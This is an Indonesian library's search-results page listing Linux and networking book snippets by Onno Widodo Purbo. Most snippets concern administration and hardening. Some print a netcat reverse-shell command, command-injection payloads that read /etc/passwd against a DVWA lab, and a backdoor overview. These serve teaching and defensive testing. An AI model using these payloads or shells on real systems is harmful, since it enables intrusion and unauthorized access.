Pustaka Taratsa

Cari

124 buku memuat "bin bash" · halaman 5 dari 7

  1. 20 Linux Server Hardening Security Tips

    Onno Widodo Purbo

    # awk -F: '($3 == "0") {print}' /etc/passwd Anda harusnya hanya melihat satu kalimat ini root:x:0:0:root:/root:/bin/bash Jika anda melihat kalimat yang lain, buang atau pastikan account tersebut memang di ijinkan untuk menggunakan UID 0. Aktifkan sudoer …

    sekitar 37% dari bukuBaca teks (EPUB)

  2. Script NAT Proxy

    Onno Widodo Purbo

    … parameter yang perlu di perhatikan yaitu UPLINK NAT INTERFACES Pastikan bahwa anda mengisi ketiga-nya dengan benar isi script.sh #!/bin/bash # From: AHK <[email protected]> # To: [email protected] # Save this file and activate through # file_name …

    awal bukuBaca teks (EPUB)

  3. Script untuk mencuri file youtube di /tmp

    Onno Widodo Purbo

    … tmp Sumber: https://onnocenter.or.id/wiki/index.php/Script_untuk_mencuri_file_youtube_di_/tmp vi curiyoutube.sh #!/bin/bash flash=$(ls -t /tmp/Flash* | head -n 1) destination=$(find ~/.mozilla -name sessionstore.js -exec sed 's/.*title:"\(^"*\).*selected …

    awal bukuBaca teks (EPUB)

  4. Backdoors dan Persistence

    Onno Widodo Purbo

    … sistem. Contoh Backdoor di Ubuntu: User account dengan shell khusus: Membuat akun pengguna dengan shell khusus seperti `/bin/bash` yang memungkinkan eksekusi perintah secara langsung. Port listening yang tidak biasa: Membuka port yang tidak digunakan oleh …

    awal bukuBaca teks (EPUB)

  5. Debian: single mode & reset password root

    Onno Widodo Purbo

    … _root First screen - grub - press e Modify kernel line: add single between ro quiet and at the end of this line add init=/bin/bash Press F10 When the prompt is root@(none):/# you have to remount the / partition to have read-write access: mount / -rw -o …

    awal bukuBaca teks (EPUB)

  6. TCP port communication via nc

    Onno Widodo Purbo

    … verbose (menampilkan informasi lebih detail). -z : Mode zero (hanya melakukan koneksi tanpa mengirim data). Contoh Penggunaan Lanjutan: Membuat Shell Reverse: # Server (mendengarkan): nc -lvp 4444 # Klien (membuat koneksi): nc -e /bin/bash server_ip 4444

    sekitar 50% dari bukuBaca teks (EPUB)

  7. Forensic Command Injection Attack

    Onno Widodo Purbo

    … Command Injection: Contoh payload: Untuk menampilkan isi file: `' ; cat /etc/passwd ; '` Untuk menjalankan perintah shell: `' ; /bin/bash ; '` Catatan: Payload yang tepat akan tergantung pada konfigurasi DVWA dan sistem target. Masukkan payload ke dalam …

    sekitar 33% dari bukuBaca teks (EPUB)

  8. TCP port communication via nc (en)

    Onno Widodo Purbo

    … connections without sending data). Advanced Usage Examples: Creating a Reverse Shell: # Server (listening): nc -lvp 4444 # Client (making the connection): nc -e /bin/bash server_ip 4444 This allows you to execute commands on the server from the client.

    sekitar 50% dari bukuBaca teks (EPUB)

  9. 20 Linux Server Hardening Security Tips (en)

    Onno Widodo Purbo

    … UID set to 0: # awk -F: '($3 == "0") {print}' /etc/passwd You should only see this line: root:x:0:0:root:/root:/bin/bash If you see any other lines, remove them or ensure that the account is indeed authorized to use UID 0. Enable sudoers Enable several …

    sekitar 35% dari bukuBaca teks (EPUB)

  10. Open5gs: Konfigurasi ogstun dan ogstun2

    Onno Widodo Purbo

    … .x.x.x/y -j DROP Konfigurasi dua interface TUN ogstun dan ogstun2 Jika dibutuhkan dua Interface, dapat menggunakan script di bawah ini: #!/bin/bash sudo sysctl -w net.ipv4.ip_forward=1 sudo sysctl -w net.ipv6.conf.all.forwarding=1 ip tuntap add name ogstun …

    sekitar 67% dari bukuBaca teks (EPUB)

  11. Open5gs: docker

    Onno Widodo Purbo

    … container. Login dengan credential berikut, Username : admin Password : 1423 Gunakan Web UI, tambahkan subscriber Provisioning IMSI dan MSISDN dengan OsmoHLR sebagai berikut, Pertama-tama, login ke osmohlr container docker exec -it osmohlr /bin/bash

    sekitar 55% dari bukuBaca teks (EPUB)

  12. LLM: Ollama Pentest

    Onno Widodo Purbo

    … command and pressing Enter: nano ubuntu_pentest.sh 3. Copy and paste the following code into the nano text editor: #!/bin/bash echo "Welcome to Ubuntu 24.04 Penetration Testing!" echo "Performing the following tests:" echo "1. Port Scanning" echo "2 …

    awal bukuBaca teks (EPUB)

  13. ModSecurity: Instalasi Ubuntu 22.04

    Onno Widodo Purbo

    … apache2 Verifikasi modsecurity Lakukan ini di server yang kita install modsecurity. Ketik, curl http://localhost/index.html?exec=/bin/bash Harusnya keluar, <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head …

    sekitar 31% dari bukuBaca teks (EPUB)

  14. Open5gs: IMS Install

    Onno Widodo Purbo

    !/bin/bash sudo sysctl -w net.ipv4.ip_forward=1 sudo sysctl -w net.ipv6.conf.all.forwarding=1 ip tuntap add name ogstun mode tun ip addr add 192.168.100.1/24 dev ogstun ip addr add fd84:6aea:c36e:2b69::/48 dev ogstun ip link set ogstun mtu 1400 ip link set …

    sekitar 66% dari bukuBaca teks (EPUB)

  15. FIREWALL: iptables: Create NAT (en)

    Onno Widodo Purbo

    … parameters to pay attention to: UPLINK NAT INTERFACES Make sure you correctly fill in all three. Internet Connection Sharing Script #!/bin/bash # From: AHK <[email protected]> # To: [email protected] # Save this file and activate through # file_name …

    awal bukuBaca teks (EPUB)

  16. SECURITY: 20 Linux Server Hardening Security Tips (en)

    Onno Widodo Purbo

    … with UID set to 0: # awk -F: '($3 == "0") {print}' /etc/passwd You should only see this line: root:x:0:0:root:/root:/bin/bash If you see any other lines, remove them or ensure those accounts are indeed allowed to use UID 0. Enable sudoers Enable some users …

    sekitar 33% dari bukuBaca teks (EPUB)

  17. Instalasi, Operasi dan Strategi Rapid Jurnal Backup dengan Restic

    Onno Widodo Purbo

    a. Buat file script: `rapid-backup.sh` #!/bin/bash # Folder yang ingin dibackup SOURCE="/home/namapengguna/Documents" # Lokasi repo Restic REPO="/home/namapengguna/backups/restic-repo" # File password PASS="/home/namapengguna/.restic-password.txt" # …

    sekitar 50% dari bukuBaca teks (EPUB)

  18. LLM: ubuntu 24.04 ollama + open-webui gpu full docker

    Onno Widodo Purbo

    … Kalau mau, saya bisa tambahkan contoh file Caddy/Traefik untuk HTTPS dan multi-user auth. Download Models docker exec -it ollama /bin/bash ollama pull deepseek-r1:7b ollama pull gemma3:4b ollama pull qwen3:8b ollama pull llama3.1:8b ollama pull llama3.2:3b …

    akhir bukuBaca teks (EPUB)

  19. OS: Proyek Akhir (OBE-Centric)

    Onno Widodo Purbo

    … Init system (systemd minimal) Langkah Umum sudo debootstrap noble mydistro http://archive.ubuntu.com/ubuntu chroot mydistro /bin/bash Tambahkan service minimal, lalu boot di VM. Fokus penilaian: Pemahaman boot → kernel → user space → service. B. OpenWRT …

    sekitar 20% dari bukuBaca teks (EPUB)

  20. Membangun Gateway Packet Radio di Linux

    Onno Widodo Purbo

    … id to use first_uid 2001 # # maximum user id max_uid 3000 # # where to add the home directory for the new users home /home/ax25 # # user shell shell /bin/bash # # bind user id to callsign for outgoing connects. associate yes Pranala Menarik Linux Howto

    sekitar 95% dari bukuBaca teks (EPUB)